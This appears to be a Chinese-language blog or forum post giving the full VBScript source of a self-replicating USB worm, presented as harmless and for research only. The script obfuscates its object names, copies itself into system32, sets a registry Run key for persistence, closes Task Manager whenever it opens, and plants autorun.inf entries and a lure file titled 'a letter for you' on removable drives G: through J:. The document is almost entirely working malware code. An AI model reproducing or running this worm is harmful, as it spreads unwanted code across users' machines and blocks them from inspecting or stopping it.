能自我復制的腳本病毒

這個“病毒”沒有什么危害，只是它會自我復制，除了占用4KB的磁盤空間以外基本上啥也不干，也只靠U盤傳播，是一個可以拿來做研究學習的腳本。不過只要是會傳染，就是病毒，因此，請不要把它拿去干壞事（估計這個“病毒”根本不能傳播，誰會那么蠢去點擊一個來歷不名的文件呢？再說了，不用殺軟，一條命令就可以輕松搞定），僅供技術研究參考之用途！

================================ALFU.vbs=========================================

on error resume next

dim i,x,vbsc,pan,bye,k

bye=0

k=0

set fs=createobject(chr(115)&"crip"&chr(116)&"ing"&chr(46)&chr(102)&"iles"&chr(121)&"ste"&chr(109)&chr(111)&"bj"&chr(101)&"ct")

set sh=createobject("w"&chr(115)&"cript.shell")

i=wscript.scriptfullname

set txt=fs.opentextfile(i)

vbsc=txt.readall

txt.close

if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then

set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)

text.write vbsc

text.close

end if

sh.run "c:\windows\system32\ALFU.vbs"

pan= fs.getdrivename(i)

if not pan="C:" then

set m=fs.getfile(i)

m.delete(true)

bye=1

set m=nothing

end if

do

wscript.sleep 1000

if sh.appactivate("Windows 任務管理器") then

wscript.sleep 100

sh.sendkeys "%{F4}"

end if

if fs.driveexists("G:") then

if not fs.fileexists("G:\給你的一封信.vbs") then

set bt=fs.createtextfile("G:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 給你的一封信.vbs"

bt.close

if fs.folderexists("G:\Autorun.inf") then

sh.run "ren G:\autorun.inf G:\aoturun.inf"

end if

set atc=fs.createtextfile("G:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("G:\給你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("H:") then

if not fs.fileexists("H:\給你的一封信.vbs") then

set bt=fs.createtextfile("H:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 給你的一封信.vbs"

bt.close

if fs.folderexists("H:\Autorun.inf") then

sh.run "ren H:\autorun.inf H:\aoturun.inf"

end if

set atc=fs.createtextfile("H:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("H:\給你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("I:") then

if not fs.fileexists("I:\給你的一封信.vbs") then

set bt=fs.createtextfile("I:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 給你的一封信.vbs"

bt.close

if fs.folderexists("I:\Autorun.inf") then

sh.run "ren I:\autorun.inf I:\aoturun.inf"

end if

set atc=fs.createtextfile("I:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("I:\給你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.driveexists("J:") then

if not fs.fileexists("J:\給你的一封信.vbs") then

set bt=fs.createtextfile("J:\stvs.bat")

bt.writeline "@echo off"

bt.writeline "start 給你的一封信.vbs"

bt.close

if fs.folderexists("J:\Autorun.inf") then

sh.run "ren J:\autorun.inf J:\aoturun.inf"

end if

set atc=fs.createtextfile("J:\autorun.inf")

atc.writeline "[autorun]"

atc.writeline "Open=stvs.bat"

atc.close

set text=fs.createtextfile("J:\給你的一封信.vbs",1)

text.write vbsc

text.close

end if

end if

if fs.fileexists("c:\windows\system32\ALFU.vbs")=false then

set text=fs.createtextfile("c:\windows\system32\ALFU.vbs",1)

text.write vbsc

text.close

end if

sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ALFU","c:\windows\system32\ALFU.vbs"

if bye=1 then

exit do

end if

k=k+1

loop